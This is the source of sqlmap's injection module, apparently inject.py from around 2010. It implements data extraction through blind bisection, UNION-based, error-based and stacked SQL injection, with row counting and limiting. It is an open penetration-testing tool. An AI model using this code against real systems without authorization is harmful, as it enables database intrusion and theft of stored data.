mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
472f4465a6
Minor bug fix to properly handle the case that no injections are found. Nicer display of injection vulnerabilities detected. Minor code refactoring.
449 lines
17 KiB
Python
449 lines
17 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import cleanQuery
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from lib.core.common import dataToSessionFile
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from lib.core.common import dataToStdout
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from lib.core.common import expandAsteriskForColumns
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from lib.core.common import parseUnionPage
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomInt
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from lib.core.common import readInput
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from lib.core.common import replaceNewlineTabs
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from lib.core.common import safeStringFormat
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.exception import sqlmapNotVulnerableException
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.request.direct import direct
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from lib.techniques.inband.union.use import unionUse
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from lib.techniques.blind.inference import bisection
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from lib.techniques.error.use import errorUse
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from lib.utils.resume import queryOutputLength
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from lib.utils.resume import resume
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def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
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start = time.time()
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if ( conf.eta or conf.threads > 1 ) and kb.dbms:
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_, length, _ = queryOutputLength(expression, payload)
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else:
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length = None
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dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression))
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count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
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debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
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logger.debug(debugMsg)
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return value
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def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
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outputs = []
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origExpr = None
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for field in expressionFieldsList:
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output = None
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if field.startswith("ROWNUM "):
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continue
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if isinstance(num, int):
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origExpr = expression
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expression = agent.limitQuery(num, expression, field)
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if "ROWNUM" in expressionFieldsList:
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expressionReplaced = expression
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else:
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expressionReplaced = expression.replace(expressionFields, field, 1)
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if resumeValue:
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output = resume(expressionReplaced, payload)
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if not output or ( expected == "int" and not output.isdigit() ):
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if output:
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warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
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warnMsg += "sqlmap is going to retrieve the value again"
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logger.warn(warnMsg)
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output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
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if isinstance(num, int):
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expression = origExpr
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outputs.append(output)
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return outputs
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def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
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"""
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Retrieve the output of a SQL query characted by character taking
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advantage of an blind SQL injection vulnerability on the affected
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parameter through a bisection algorithm.
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"""
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query = agent.prefixQuery(queries[kb.misc.testedDbms].inference.query)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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count = None
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startLimit = 0
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stopLimit = None
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outputs = []
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test = None
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untilLimitChar = None
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untilOrderChar = None
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if resumeValue:
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output = resume(expression, payload)
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else:
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output = None
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if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
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return output
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if not unpack:
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return __goInference(payload, expression, charsetType, firstChar, lastChar)
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if kb.dbmsDetected:
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_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
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rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
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if rdbRegExp and kb.dbms == DBMS.FIREBIRD:
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expressionFieldsList = [expressionFields]
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if len(expressionFieldsList) > 1:
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infoMsg = "the SQL query provided has more than a field. "
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infoMsg += "sqlmap will now unpack it into distinct queries "
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infoMsg += "to be able to retrieve the output even if we "
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infoMsg += "are going blind"
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logger.info(infoMsg)
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# If we have been here from SQL query/shell we have to check if
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# the SQL query might return multiple entries and in such case
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# forge the SQL limiting the query output one entry per time
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# NOTE: I assume that only queries that get data from a table
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# can return multiple entries
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if fromUser and " FROM " in expression:
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limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or ( kb.dbms == DBMS.MSSQL and topLimit ):
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if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
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limitGroupStart = queries[kb.dbms].limitgroupstart.query
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limitGroupStop = queries[kb.dbms].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif kb.dbms == DBMS.MSSQL:
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if limitRegExp:
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limitGroupStart = queries[kb.dbms].limitgroupstart.query
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limitGroupStop = queries[kb.dbms].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif kb.dbms == DBMS.ORACLE:
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
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expression = expression[:untilLimitChar]
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elif kb.dbms == DBMS.MSSQL:
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stopLimit += startLimit
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if not stopLimit or stopLimit <= 1:
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if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
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test = "n"
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elif batch:
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test = "y"
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else:
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message = "can the SQL query provided return "
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message += "multiple entries? [Y/n] "
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test = readInput(message, default="Y")
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if not test or test[0] in ("y", "Y"):
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# Count the number of SQL query entries output
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countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0]
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countedExpression = expression.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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if resumeValue:
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count = resume(countedExpression, payload)
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if not stopLimit:
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if not count or not count.isdigit():
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count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
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if count and count.isdigit() and int(count) > 0:
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count = int(count)
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if batch:
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stopLimit = count
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else:
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message = "the SQL query provided can return "
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message += "up to %d entries. How many " % count
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message += "entries do you want to retrieve?\n"
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message += "[a] All (default)\n[#] Specific number\n"
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message += "[q] Quit"
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test = readInput(message, default="a")
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if not test or test[0] in ("a", "A"):
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stopLimit = count
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elif test[0] in ("q", "Q"):
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return "Quit"
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elif test.isdigit() and int(test) > 0 and int(test) <= count:
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stopLimit = int(test)
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infoMsg = "sqlmap is now going to retrieve the "
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infoMsg += "first %d query output entries" % stopLimit
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logger.info(infoMsg)
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elif test[0] in ("#", "s", "S"):
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message = "How many? "
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stopLimit = readInput(message, default="10")
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if not stopLimit.isdigit():
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errMsg = "Invalid choice"
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logger.error(errMsg)
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return None
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else:
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stopLimit = int(stopLimit)
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else:
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errMsg = "Invalid choice"
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logger.error(errMsg)
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return None
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif ( not count or int(count) == 0 ):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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for num in xrange(startLimit, stopLimit):
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output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
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outputs.append(output)
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return outputs
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elif kb.dbms == DBMS.ORACLE and expression.startswith("SELECT ") and " FROM " not in expression:
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expression = "%s FROM DUAL" % expression
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outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
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returnValue = ", ".join([output for output in outputs])
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else:
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returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
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return returnValue
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def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an inband SQL
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injection vulnerability on the affected parameter.
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"""
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output = None
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partial = False
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data = []
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condition = (
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kb.resumedQueries and conf.url in kb.resumedQueries.keys()
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and expression in kb.resumedQueries[conf.url].keys()
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)
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if condition and resumeValue:
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output = resume(expression, None)
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if not output or ( expected == "int" and not output.isdigit() ):
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partial = True
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if not output:
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output = unionUse(expression, resetCounter=True, unpack=unpack, dump=dump)
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if output:
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data = parseUnionPage(output, expression, partial, condition, sort)
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return data
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def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
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"""
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Called each time sqlmap inject a SQL query on the SQL injection
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affected parameter. It can call a function to retrieve the output
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through inband SQL injection (if selected) and/or blind SQL injection
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(if selected).
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"""
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if suppressOutput:
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pushValue(conf.verbose)
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conf.verbose = 0
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if conf.direct:
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value = direct(expression)
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elif kb.booleanTest or kb.errorTest or kb.unionTest:
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expression = cleanQuery(expression)
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expression = expandAsteriskForColumns(expression)
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value = None
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expression = expression.replace("DISTINCT ", "")
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if error and kb.errorTest:
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value = goError(expression)
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if not value:
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warnMsg = "for some reason(s) it was not possible to retrieve "
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warnMsg += "the query output through error SQL injection "
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warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition is not None else "blind")
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logger.warn(warnMsg)
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if inband and kb.unionPosition is not None and not value:
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value = __goInband(expression, expected, sort, resumeValue, unpack, dump)
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if not value:
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warnMsg = "for some reason(s) it was not possible to retrieve "
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warnMsg += "the query output through inband SQL injection "
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warnMsg += "technique, sqlmap is going blind"
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logger.warn(warnMsg)
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oldParamFalseCond = kb.unionFalseCond
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oldParamNegative = kb.unionNegative
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kb.unionFalseCond = False
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kb.unionNegative = False
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if blind and kb.booleanTest and not value:
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value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
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kb.unionFalseCond = oldParamFalseCond
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kb.unionNegative = oldParamNegative
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if value and isinstance(value, basestring):
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value = value.strip()
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else:
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errMsg = "none of the injection types identified can be "
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errMsg += "leveraged to retrieve queries output"
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raise sqlmapNotVulnerableException, errMsg
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if suppressOutput:
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conf.verbose = popValue()
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return value
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def goStacked(expression, silent=False):
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expression = cleanQuery(expression)
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if conf.direct:
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return direct(expression), None
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comment = queries[kb.dbms].comment.query
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query = agent.prefixQuery("; %s" % expression)
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query = agent.suffixQuery("%s;%s" % (query, comment))
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debugMsg = "query: %s" % query
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logger.debug(debugMsg)
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payload = agent.payload(newValue=query)
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page, _ = Request.queryPage(payload, content=True, silent=silent)
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return payload, page
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def goError(expression, suppressOutput=False, returnPayload=False):
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"""
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Retrieve the output of a SQL query taking advantage of an error-based
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SQL injection vulnerability on the affected parameter.
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"""
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result = None
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if suppressOutput:
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pushValue(conf.verbose)
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conf.verbose = 0
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if conf.direct:
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return direct(expression), None
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condition = (
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kb.resumedQueries and conf.url in kb.resumedQueries.keys()
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and expression in kb.resumedQueries[conf.url].keys()
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)
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if condition:
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result = resume(expression, None)
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if not result:
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result = errorUse(expression, returnPayload)
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if not returnPayload:
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dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result)))
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if suppressOutput:
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conf.verbose = popValue()
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return result
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